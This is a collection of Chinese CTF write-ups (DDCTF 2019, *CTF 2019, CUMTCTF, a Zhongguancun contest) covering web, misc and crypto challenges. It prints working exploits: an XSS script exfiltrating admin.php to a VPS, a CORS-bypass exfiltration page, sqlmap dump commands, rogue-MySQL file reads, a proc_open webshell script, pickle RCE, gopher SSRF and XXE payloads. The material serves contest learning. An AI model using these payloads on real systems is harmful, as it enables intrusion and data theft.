request
变量里的prev_session
回滚,这样也就是说不论我们的钱是否够买,都会有一个短暂时期获得了diamond,只不过请求结束时会回滚
首先尝试eval函数,我们看到它是这样的
event_handler = eval(
action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)
action就是URL里:和;
之间的值,是可控的,我们尝试一下用#注释掉之后的语句可发现,我们能控制event_handler成为任意函数,(但不可调用,因为括号被过滤了)调用需要由它来调用,且传入的参数也为我们可控
但是想尝试调用FLAG函数是不行的,因为FLAG函数0参而event_handler调用时会传入一个参数
这时将两个漏洞点结合起来考虑:
我们利用eval赋值event_handler为trigger_event函数,并且传入两个事件,分别为购买5个钻石和调用get_flag函数,这样的话整个请求的事件队列执行流程为:
买五个钻石 --> 调用get_flag --> 钱不够,回滚
虽然请求结束回滚了,但是在调用get_flag函数时已经将FLAG函数的结果写入日志了
trigger_event(
'func:show_flag;' +
FLAG())
而日志存在session里,我们可以将session的jwt解码后读取
故传入payload:action:trigger_event%23;action:buy;5%23action:get_flag;
日志:
解码后获得flag:
3v41_3v3nt_100p_aNd_fLASK_c00k1e
欢迎报名DDCTF
这道题感觉中途改了很多,而且没啥营养……页面挂了我就不截图了
提示:
提示:XSS不是获取cookie
提示2:之后是注入
首先进入后是一个报名表单,想到肯定是XSS,而且没有任何过滤(除了过滤了”php”,因为题目需要读admin.php)。首先XSS后会在referer发现是从admin.php请求的
读取admin.php
报名表单传入
<script src=http://VPS_IP/evil.js></script>
// evil.js
fetch("http://117.51.147.2/Ze02pQYLf5gGNyMn/admin.php").then(o => o.text()).then(v => fetch('http://YOUR_VPS_IP/', {method: 'POST', body: JSON.stringify({k: v})}));
读到源码
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<!--每隔30秒自动刷新-->
<meta http- equiv="refresh" content="30">
<title>DDCTF报名列表</title>
</head>
<body>
<table align="center" >
< thead>
<tr>
<th>姓名</th>
<th>昵称</th>
<th>备注</th>
<th>时间</th>
\ t</tr>
</thead>
<tbody>
<!-- 列表循环展示 -->
<tr>
<td> 1 </td>
<td> 1 </td>
<td> <script src=http://xss.tf/kAD></script> </td>
<td> 2019-04-17 06:11:43 </td>
</tr>
...............
</tr>
<tr>
<td>
<a target="_blank" href="index.php">报名</a>
</td>
\ n <!-- <a target="_blank" href="query_aIeMu0FUoVrW0NWPHbN6z4xh.php"> 接口 </a>-->
</tbody>
</table>
</bo dy>
</html>
发现注释掉的接口,访问后提示要传入param参数
经过一番探测后发现是宽字节注入,没有任何过滤,只addslash了单引号和过滤了等号,既然过滤这么少那么就SQLMap一把梭吧:
sqlmap.py -u "http://117.51.147.2/Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id=%df" --dbms=mysql --technique T --hex - -level 3 -D ctfdb -T ctf_fhmHRPL5 -C ctf_value --dump
大吉大利,今晚吃鸡~
这个题代码逻辑有漏洞…..注册页如果提示用户已注册的话会直接办法cookie,所以也就意味着可以登录任意账号
进入题目需要买票,2000元但我们只有100元
抓包创建订单链接发现价格是前端传入的,尝试修改发现只允许>0,猜测存在整形溢出,尝试uint32,传入2^32
接着点击支付即会在后端发生溢出,成功支付
进入后台
需要输入id和ticket来移除对手,最后吃鸡的话才有flag。所以思路很清楚了,写脚本注册账号,提取id和ticket后给自己大号杀,让大号吃鸡
import requests
import time
users = (str(i) for i in range(500, 1000))
with open('t', 'a+') as fp:
ts = set(fp.read().split('\n'))
for u in users:
time.sleep(1)
s = requests.Session()
r = s.get(f'http://117.51.147.155:5050/ctf/api/register?name={u}&password=12345678')
print(f'http://117.51.147.155:5050/ctf/api/register?name={u}&password=12345678')
try:
resp = r.json()
except:
pass
if resp['code'] != 404:
continue
r = s.get('http://38.106.21.229:5000/ctf/api/buy_ticket?ticket_price=4294967296')
r = s.get("http://38.106.21.229:5000/ctf/api/pay_ticket?bill_id=" + r.json()['data'][0]['bill_id'])
r = s.get('http://117.51.147.155:5050/ctf/api/search_ticket')
try:
resp = r.json()
except:
pass
for tmp in resp['data']:
_id = tmp['id']
t = tmp['ticket']
if str(_id)+'::'+t not in ts:
fp.write(str(_id)+'::'+t+'\n')
批量获取ticket(养猪)
然后杀了他们
import requests
import time
d = open('t', 'r').read().split('\n')
for i in d:
print(i)
time.sleep(2)
_id = i.split('::')[0]
t = i.split('::')[1]
r = requests.get(f'http://117.51.147.155:5050/ctf/api/remove_robot?id={_id}&ticket={t}', headers={'Cookie': 'user_name=YOUE_NAME; REVEL_SESSION=YOUR_TOKEN'})
print(r.text)
mysql弱口令
个人感觉这道题出的也挺不错
首先需要在服务器上部署agent.py,说是代理,其实只是在服务器上执行ps
然后返回结果
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 12/1/2019 2:58 PM
# @Author : fz
# @Site :
# @File : agent.py
# @Software: PyCharm
import json
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
from optparse import OptionParser
from subprocess import Popen, PIPE
class RequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
request_path = self.path
print("\n----- Request Start ----->\n")
print("request_path :", request_path)
print("self.headers :", self.headers)
print("<----- Request End -----\n")
self.send_response(200)
self.send_header("Set-Cookie", "foo=bar")
self.send_header("Location", "http://127.0.0.1")
self.end_headers()
result = self._func()
self.wfile.write(json.dumps(result))
def do_POST(self):
request_path = self.path
# print("\n----- Request Start ----->\n")
print("request_path : %s", request_path)
request_headers = self.headers
content_length = request_headers.getheaders('content-length')
length = int(content_length[0]) if content_length else 0
# print("length :", length)
print("request_headers : %s" % request_headers)
print("content : %s" % self.rfile.read(length))
# print("<----- Request End -----\n")
self.send_response(200)
self.send_header("Set-Cookie", "foo=bar")
self.end_headers()
result = self._func()
self.wfile.write(json.dumps(result))
def _func(self):
netstat = Popen(['netstat', '-tlnp'], stdout=PIPE)
netstat.wait()
ps_list = netstat.stdout.readlines()
result = []
for item in ps_list[2:]:
tmp = item.split()
Local_Address = tmp[3]
Process_name = tmp[6]
tmp_dic = {'local_address': Local_Address, 'Process_name': Process_name}
result.append(tmp_dic)
return result
do_PUT = do_POST
do_DELETE = do_GET
def main():
port = 8123
print('Listening on localhost:%s' % port)
server = HTTPServer(('0.0.0.0', port), RequestHandler)
server.serve_forever()
if __name__ == "__main__":
parser = OptionParser()
parser.usage = (
"Creates an http-server that will echo out any GET or POST parameters, and respond with dummy data\n"
"Run:\n\n")
(options, args) = parser.parse_args()
main()
所以我们大胆猜测一下,既然是mysql弱口令,那么肯定需要我们的mysql服务器开到公网并且能够hack掉mysql客户端,联想到之前看到的LOAD DATA INFILE读取客户端任意文件
具体请看文章https://www.anquanke.com/post/id/106488
,我就不赘述了
利用这个工具https://github.com/Gifts/Rogue-MySql-Server
首先在服务器部署agent.py,并且将返回值固定并一定要返回mysqld(这是检测服务器是否开启mysql的),接着让题目的主机扫描你的服务器,题目的主机会 发起查询请求,我们即可读取任意文件
首先读取/etc/passwd
2019-04-16 10:50:03,847:INFO:Result: '\x02root:x:0:0:root:/root:/bin/bash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nadm:x:3:4:adm:/var/adm:/sbin/nologin\nlp:x:4:7:lp:/var/spool/
......略
tfix:/sbin/nologin\nchrony:x:998:995::/var/lib/chrony:/sbin/nologin\ntcpdump:x:72:72::/:/sbin/nologin\ndc2-user:x:1000:1000::/home/dc2-user:/bin/bash\nmys
ql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash\nmongod:x:997:994:mongod:/var/lib/mongo:/bin/false\nnginx:x:996:993:Nginx web server:/var/lib/nginx:/sbin/nologin\n'
发现我们没有root权限,猜测我们的权限为/etc/passwd中的dc2-user:x:1000:1000::/home/dc2-user:/bin/bash
读取该用户的历史bash命令:/home/dc2-user/.bash_history
.......略
'nls \ncd ../\nls\ncd env/\nls\ncd ../\nls\ncd web_1/\nls\nls -la\ncd ../../\nls\ncd ctf_web_\ncd ctf_web_2\nls\nls -la\ncd log/\nlks\nls\ncat gunicorn.log \n;s\ncat gunicorn .err \nls\nnetstat -plnt\nls\nps -aux | grep gunicorn\nls\ncd ../\nls\ncat start.sh \nls\ncd ../\nls\ncd ctf_web_2/\nls\ncat restart.sh \ncat start.sh \nls\ncd ../\nls\n cd ctf_web_1/\nls\ncd web_1/\nls\ncd ../\nls\ncd ../\nls\ncd ctf_web_2/\nls\ncat restart.sh \nnetstat -plnt\nps -uax | gr)
...
再读取程序运行的命令行:/proc/self/cmdline
home/dc2-user/ctf_web_2/ctf_web_2/bin/python2 /home/dc2-user/ctf_web_2/ctf_web_2/bin/gunicorn didi_ctf_web2:app -b 127.0.0.1:15000 --access-logfile /home/dc2-user/ctf_web_2/2_access.log
这样即可得知目录结构,我们循环着读源码(中间因为我们不知道导入的是包还是单文件,所以逐个尝试,不过大多都是包):
最后在views.py里
# flag in mysql curl@localhost database:security table:flag
flag在数据库,所以我们尝试读数据库文件,首先读my.cnf确定数据存放的目录:/etc/my.cnf
# read_rnd_buffer_size = 2M
datadir=/var/lib/mysql
socket=/var/lib/mysql/mysql.sock
# Disabling symbolic-links is recommended to prevent assorted security risks
symbolic-links=0
这时我们即可读取数据库的文件,数据库文件每个库一个文件夹,每个表单独存放,可能是tablename.MYD
或tablename.idb
,根据数据库引擎不同而异,读取后即可在其中找到flag
$ strings mysql.log | grep DDCTF
*CTF2019
太菜了,Web就做出一道题,剩下两道一道页游一脸懵逼(虽然提示了跟Mongo有关),另一道tm是不是给错category了啊
Misc做出了一道。homebrew eventloop
很有意思,和DDCTF2019里的是同款,garzon大佬出的,研究了一会儿想着怎么绕过sys.stdin
的赋值就可以通过py2的input函数getflag,之后提示所有bug都是有意的,又思考那个split(xx, '114514')
确定是有意的吗,我觉得是作者fp写多了以为Python里列表解包能[head | tail]
。最后思考了一下变量覆盖就绕过了,第二个homebrew eventloop
看了一眼不知道怎么RCE
之后….之后就去复习OS了….2019*CTF之旅end
mywebsql
这道题要不是有人搅屎差点就拿了三血…
上来给了一个MyWebSQL的管理登录页,admin/admin
登录后利用日志备份getshell,和phpmyadmin一样的套路
这道题最大的挑战在getshell后要利用webshell执行/readflag
,交互的计算一个表达式,搜了搜PHP开子进程的函数,找到一个proc_open
,写个脚本,getflag
import requests
url = 'http://34.92.36.201:10080/backups/iv4n.php'
r = requests.post(url, data={
'ck': """$d=array(
0=>array("pipe","r"),
1=>array("pipe","w"),
2=>array("pipe","w")
);
$p=proc_open("/readflag",$d,$pipes);
$data=fread($pipes[1],65535);
$data=fread($pipes[1],65535);
echo $data."\n";
$calc=$data;
echo $calc."\n";
eval('$res='.$calc.";");
echo $res."\n";
$data=fread($pipes[1],65535);
fwrite($pipes[0],$res);
fclose($pipes[0]);
var_dump(stream_get_contents($pipes[1]));
fclose($pipes[1]);
proc_close($p);"""
})
print(r.text)
做题时有人搅屎写了死循环删shell,然后一边另起线程死循环上传,一边执行
homebrew eventloop
#!/usr/bin/python
# -*- encoding: utf-8 -*-
# written in python 2.7
__author__ = 'garzon'
import sys
import hashlib
import random
# private ------------------------------------------------------------
def flag():
# flag of stage 1
return '*ctf{JtWCBuYlVN75pb]y8zhJem9GAH1YsUqgMEvQn_P2wd0IDRTaHjZ3i6SQXrxKkL4[FfocO}'
def flag2():
ret = ''
# flag of stage 2
# ret = open('flag', 'rb').read() # No more flag for you hackers in stage2!
return ret
def switch_safe_mode_factory():
ctx = {'io_pair': [None, None]}
def __wrapper(): (ctx['io_pair'], (sys.stdin, sys.stderr)) = ([sys.stdin, sys.stderr], ctx['io_pair'])
return __wrapper
def PoW():
# return
while True:
a = (''.join([chr(random.randint(0, 0xff)) for _ in xrange(2)])).encode('hex')
print 'hashlib.sha1(input).hexdigest() == "%s"' % a
print '>',
input = raw_input()
if input == a:
break
print 'invalid PoW, please retry'
# protected ----------------------------------------------------------
def fib(a):
if a <= 1: return 1
return fib(a-1)+fib(a-2)
# public -------------------------------------------------------------
def load_flag_handler(args):
global session
session['log'] = flag2()
return 'done'
def ping_handler(args):
return 'pong'
def fib_handler(args):
a = int(args[0])
if a > 5 or a < 0: return 'out of range'
return str(fib(a))
if __name__ == '__main__':
session = {}
session['log'] = flag()
switch_safe_mode = switch_safe_mode_factory()
switch_safe_mode_factory = None
valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789[]')
while True:
PoW()
print '$',
event = raw_input() # get eventName and args from the RPC requests, like: funcName114514arg1114514args2114514arg3 ...
switch_safe_mode()
if event == 'exit': break
for c in event:
if c not in valid_event_chars:
print "invalid request"
exit(-1)
event, args = event.split('114514')
args = args.split('114514')
try:
handler = eval(event)
print handler(args)
except Exception, e:
print 'exception:', str(e)
很简单,一开始的思路就在switch_safe_mode
上,只要能恢复stdin/stdout
就可以通过执行input
读到session。通过白名单中的方括号,列表解析表达式变量覆盖
#payload
[[dir]for[PoW]in[[switch_safe_mode]]for[switch_safe_mode]in[[dir]]]114514
input114514
# 输入session即可
λ python serve.py
hashlib.sha1(input).hexdigest() == "4284"
> 4284
$ [[dir]for[PoW]in[[switch_safe_mode]]for[switch_safe_mode]in[[dir]]]114514
exception: 'list' object is not callable
$ input114514
['']session
{'log': '*ctf{JtWCBuYlVN75pb]y8zhJem9GAH1YsUqgMEvQn_P2wd0IDRTaHjZ3i6SQXrxKkL4[FfocO}'}
$
CUMTCTF双月赛III
第一次出题维护比赛,wp是出题人视角
Web
Web2签到
<?php
include 'flag.php';
error_reporting(0);
highlight_file(__FILE__);
class P {
private $var;
function __invoke(){
eval(
'global '.$this -> var.';'.
'$ret = '.$this -> var.';'
);
return $ret;
}
}
class K {
protected $fn;
public $name;
function __toString(){
$fn = $this -> fn;
return $fn();
}
}
class U {
public $obj;
function __wakeup(){
if (!isset($this->obj->name) || $this->obj->name != "iv4n") {
$this -> obj -> fn = function(){};
}
}
}
echo unserialize($_POST['obj'])->obj;
签到反序列化,没什么好说的
// exp
<?php
@error_reporting(0);
class P {
private $var;
function __construct(){
$this -> var = '$flag';
}
}
class K {
protected $fn;
public $name;
function __construct(){
$this -> fn = new P();
}
}
class U {
public $obj;
}
$o = new U();
$q = new K();
$q -> name = "iv4n";
$o -> obj = $q;
echo urlencode(serialize($o));
P.s. 两道签到题都可以getshell
Baby Flask
知识点
- Github commits history信息泄露
/proc/self
进程元信息- Flask伪造client-side cookie
- Python Pickle序列化RCE
页面注释给了Github地址,仅三个文件却有6个commits,查看历史commits
app.config['SECRET_KEY'] = os.getenv('secret_key')
密钥从环境变量中获取,结合文件读取接口获取密钥
?file=/proc/self/environ
获取到后即可伪造Cookie,将Cookie修改为一段可RCE序列化数据,利用魔术方法__reduce__
class U():
def __reduce__(self):
return (os.system, ('command here',))
这里反序列化有几个点需注意:
- Python版本问题,2和3序列化后数据不同
- 系统问题,Python os库实际为nt库和posix库的映射
成功RCE后即可获得flag,可选择反弹shell或执行命令重定向到文件,这里依旧有坑:
- python-alpine镜像中没有bash,没有
/dev/tcp
,反弹shell需用Python fork sh进程 - 我做了权限控制,用户没有当前目录和根目录写入权限,可写入家目录或/tmp
最终flag在根目录
Secret service
知识点
- Golang SSTI
- MySQL SSRF via Socks5 protocol
页面仅有一个输入点即header的X-Forwarded-For
,尝试SSTI
curl http://202.119.201.199:40102 -H "X-Forwarded-For: {{ . }}"
获得数据
map[app:chanllenge config:map[sqlConf:0xc4201c83b0 serviceConf:0xc4201c83c0]]
后端传入了map[string]interface{}
,这里我手动加难度,传入了字符串指针,需手动访问到才会自动解引
{{ .config.sqlConf }}
{{ .config.serviceConf }}
{{ range .config }}{{ . }}{{ end }}
获得敏感信息
socks5://202.119.201.199:40103
mysql://127.0.0.1:3306
user: iv4n
passwd:
database: ctf
table: flag_1s_here_got_me
很容易想到是MySQL SSRF,根据RFC1928
+----+-----+-------+------+----------+----------+
|VER | CMD | RSV | ATYP | DST.ADDR | DST.PORT |
+----+-----+-------+------+----------+----------+
| 1 | 1 | X'00' | 1 | Variable | 2 |
+----+-----+-------+------+----------+----------+
Socks代理实际是根据客户端控制报文的DST.ADDR与DST.PORT来与真实服务器建立TCP连接,接着双向转发数据,根据这一点,控制报文中填入内网IP即可进行SSRF
先利用工具生成Gopher payload
接着可利用curl -x PROXY_URL
将Gopher流量传到:3306;也可自己手动控制Socks5报文传入流量;(当然直接proxychains挂代理后用mysql客户端连接也是可以的)
curl gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%69%76%34%6e%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%26%00%00%00%03%73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%63%74%66%2e%66%6c%61%67%5f%31%73%5f%68%65%72%65%5f%67%6f%74%5f%6d%65%01%00%00%00%01 -x "socks5://202.119.201.199:40103"
# exp.py
import socket
s = socket.socket()
s.connect(('202.119.201.199', 40103))
s.send(b'\x05\x01\x00')
s.recv(1024)
s.send(b'\x05\x01\x00\x01\x7F\x00\x00\x01\x0c\xEA')
s.recv(1024)
s.send(b'\xa3\x00\x00\x01\x85\xa6\xff\x01\x00\x00\x00\x01\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x69\x76\x34\x6e\x00\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00\x66\x03\x5f\x6f\x73\x05\x4c\x69\x6e\x75\x78\x0c\x5f\x63\x6c\x69\x65\x6e\x74\x5f\x6e\x61\x6d\x65\x08\x6c\x69\x62\x6d\x79\x73\x71\x6c\x04\x5f\x70\x69\x64\x05\x32\x37\x32\x35\x35\x0f\x5f\x63\x6c\x69\x65\x6e\x74\x5f\x76\x65\x72\x73\x69\x6f\x6e\x06\x35\x2e\x37\x2e\x32\x32\x09\x5f\x70\x6c\x61\x74\x66\x6f\x72\x6d\x06\x78\x38\x36\x5f\x36\x34\x0c\x70\x72\x6f\x67\x72\x61\x6d\x5f\x6e\x61\x6d\x65\x05\x6d\x79\x73\x71\x6c\x29\x00\x00\x00\x03\x73\x65\x6c\x65\x63\x74\x20\x66\x6c\x61\x67\x20\x66\x72\x6f\x6d\x20\x63\x74\x66\x2e\x66\x6c\x61\x67\x5f\x31\x73\x5f\x68\x65\x72\x65\x5f\x67\x6f\x74\x5f\x6d\x65\x01\x00\x00\x00\x01')
data = s.recv(1024)
while data:
print(data)
data = s.recv(1024)
Json API
这道题我参考了现实中Hackerone的一个Yahoo SOP绕过漏洞
考点:
- CORS config
- Bypass SOP
看到题目即知需要XSS,但是Cookie是httponly的,想直接让管理员访问/flag页面你会发现返回的数据是undefined
,为什么?跨域了
跨域方式就那几种,随便试试即可知是用了CORS头来跨域
$ curl http://202.119.201.199:40107 -v -H "Origin: http://example.com"
* Rebuilt URL to: http://202.119.201.199:40107/
* Trying 202.119.201.199...
* TCP_NODELAY set
* Connected to 202.119.201.199 (202.119.201.199) port 40107 (#0)
> GET / HTTP/1.1
> Host: 202.119.201.199:40107
> User-Agent: curl/7.55.1
> Accept: */*
> Origin: http://example.com
>
< HTTP/1.1 200 OK
< Server: gunicorn/19.9.0
< Date: Sat, 11 May 2019 10:07:27 GMT
< Connection: close
< Content-Type: application/json
< Content-Length: 16
< Access-Control-Allow-Credentials: true
< Access-Control-Allow-Origin: http://iv4n.xyz
< Vary: Cookie
< Set-Cookie: session=eyJ1c2VybmFtZSI6InVzZXIifQ.XNae3w.FQImaHD3-bbuJLAkmLcM5toa4GU; HttpOnly; Path=/
<
{"status":"ok"}
* Closing connection 0
接着就是描述提到的多个子域名*.iv4n.xyz
CORS头配置只允许单个域名或*
通配,不允许*.iv4n.com
的写法
Access-Control-Allow-Origin: http://iv4n.xyz
Access-Control-Allow-Origin: *
所以实际开发中都是动态反射来设置CORS头,这里我后台正则写的是
domain_url = re.compile(r'^https?:\/\/(.*\.)?iv4n.xyz([^\.\-a-zA-Z0-9]+.*)?')
匹配上了即为我的子域名(不同协议、不同子域名、不同端口、不同路径),便将CORS设置为Origin的值支持跨域,匹配失败即返回http://iv4n.xyz
阻止跨域
我的本意是需要用http://iv4n.xyz_.example.com
进行绕过,但很不巧某些系统不支持特殊字符的域名,所以最后改写了后续判断
传入http://iv4n.xyz.example.com
会匹配到[('', '')]
,直接丢到if里会当做True,即可实现绕过。(按本意会匹配到[('', '_.example.com')]
)
故最终的解题思路:
设置域名解析
iv4n.xyz.example.com => YOUR_VPS_IP
服务器上放置payload
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="content-type" content="text/html; charset=utf-8" /> <title>VEIL</title> <script src="http://libs.baidu.com/jquery/1.7.2/jquery.min.js"></script> </head> <body> <script charset="utf-8"> htmlobj = $.ajax({ url: "http://202.119.201.199:40107/admin", async: false, xhrFields: { withCredentials: true }}); $.ajax({url: "http://YOUR_VPS_IP:9000/"+htmlobj.responseText, async: false}); </script> </body> </html>
提交给管理员
接收到
/admin
页面的flag
Misc
出了两道Misc题纯粹好玩
WHOAMI??
偷来了中科大校赛的题,查看响应状态码为418
,i’m a teapot(超文本茶壶控制协议)C/S大佬们的幽默
居然有选手选择了爆破……而且真有人爆破出了teapot…
Lisp
一样的简单题
;; Author: Iv4n
;; input your flag-string here
(define flag *****)
(define final-string '(97 100 206 218 135 230 70 242 104 107 95 104 97 107 100 206 101 218 137))
(define (process-flag flag)
(define (convert i)
(let ([iv-0 #x0c]
[iv-1 #x2e]
[iv-2 #x3a])
(cond ((= (remainder i 3) 1) (+ (* i 2) iv-0))
((= (remainder i 2) 0) (+ (/ i 2) iv-1))
((> i 90) (+ i iv-0))
(else (+ i iv-2)))))
(define (iter lst)
(cond ((null? lst) '())
((not (pair? lst)) (list (convert lst)))
(else (append (iter (car lst)) (iter (cdr lst))))))
(iter flag))
(define converted-string (process-flag flag))
(display (if (equal? converted-string final-string)
"Congratulations!"
"try again~"))
算法没什么难度,递归处理了列表,对每个值进行转换,只需要暴力找出所有值的可能解,然后笛卡尔集组合一下,最后根据flag格式筛选,找出有意义的字符串即可
# solve.py
a = '97 100 206 218 135 230 70 242 104 107 95 104 97 107 100 206 101 218 137'.split(' ')
a = [int(i) for i in a]
iv_0 = 0x0c
iv_1 = 0x2e
iv_2 = 0x3a
res = []
for i in a:
t = []
if ((i - iv_0) / 2) % 3 == 1:
t.append(int((i - iv_0) / 2))
t.append((i - iv_1) * 2)
if (i - iv_0) > 90:
t.append(i - iv_0)
t.append(i - iv_2)
res.append(t)
from itertools import product
for i in res:
for w in i[:]:
if chr(w) not in '{}1234567890_qwertyuiopasdfghjklzxcvbnm':
i.remove(w)
for r in product(*res):
t = ''.join([chr(i) for i in r])
if t[:5] == 'flag{' and t[-1] == '}':
print(t)
BlockChain
pragma solidity ^0.4.24;
contract Safe {
bytes32 private passwd;
mapping(address => bool) public isUnLocked;
address private owner;
event FLAG(string b64email, string slogan);
function Safe(bytes32 _passwd) public {
owner = msg.sender;
passwd = _passwd;
}
function unlock(bytes32 _passwd) public {
require (passwd == _passwd);
isUnLocked[msg.sender] = true;
}
function captureTheFlag(string b64email) public{
require (isUnLocked[msg.sender] == true);
emit FLAG(b64email, "Congratulations to capture the flag!");
}
}
魔改了zeppelin的题,区块链所有数据都是公有的,直接访问合约属性即可获得密码
中关村网络与信息安全领域专项赛
Game
查看前端代码,$.ajax
发包score=15
Who are you
XXE + PHP伪协议
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [ <!ENTITY b SYSTEM "php://filter/read=convert.base64-encode/resource=index.php"> ]>
<feedback><author>&b;</author></feedback>
Show me your image
观察Cookie格式为Flask框架,存在文件读取接口img.php?name=
,fuzz后猜测是更换了码表的base64
由于base64是3bytes一组编码为4bytes,可以将服务端编码的字符串解码后除去末尾的.jpg
后缀来达到任意文件读取
脚本:
import requests
import sys
import os
import json
import base64
try:
import urllib.parse as parse
except:
import urllib as parse
filename = sys.argv[1]
url = 'http://040e0b15532e43929b8c5f5160cb0e51420d26a57ed548a7.changame.ichunqiu.com/'
r = requests.post(url+'upload.php', files={
'file': (filename+'.jpg', b'xxx', 'image/jpeg')
}, allow_redirects=0)
cookie = r.headers['Set-Cookie'][8:].split(';')[0]
k = os.popen('python flask_session_cookie_manager2.py decode -c '+'"'+cookie+'"')
x = json.loads(k.read())['file'][' b']
b = base64.b64decode
def decode(s):
return base64.b64encode(b(b(s))[:-4])
r = requests.get(url+'img.php?name='+parse.quote(decode(x).decode()))
print(r.text)
$ python3 t.py "../../../../../etc/passwd"
根据题目hint读取templates/upload.html
,由于编码存在分组填充,所以需要尝试填充/
或./
使达到3bytes一组
$ python3 t.py "../../../.././proc/self/cwd/templates/upload.html"
看到提示flag在/root/flag.txt
,由于当前即为root权限,所以直接读取即可
Crypto
dp
原题,去学长博客找脚本跑
https://skysec.top/2018/08/24/RSA%E4%B9%8B%E6%8B%92%E7%BB%9D%E5%A5%97%E8%B7%AF(1)/
sm4
sm4算法,github上找lib
$ go test
key = [13 204 99 177 254 41 198 163 201 226 56 214 192 194 98 104] data = 2e30dc9cb8da390df65b013f3c436940 d1 = 534d343a2020666c61677b31636161390000000000000000000000000000000000000000000000000000000000000000
key = [13 204 99 177 254 41 198 163 201 226 56 214 192 194 98 104] data = 95f0d94d6b31de3d9be1e7c4a7790910 d1 = 3662652d343236362d346138652d62640000000000000000000000000000000000000000000000000000000000000000
key = [13 204 99 177 254 41 198 163 201 226 56 214 192 194 98 104] data = 3cb6416527fdfae009cc9a7ace2b613b d1 = 32632d6563653937373439353439377d0000000000000000000000000000000000000000000000000000000000000000
PASS ok _/C_/Users/40691/Downloads/Compressed/gmsm-master/sm4 0.281s
将三段拼接即可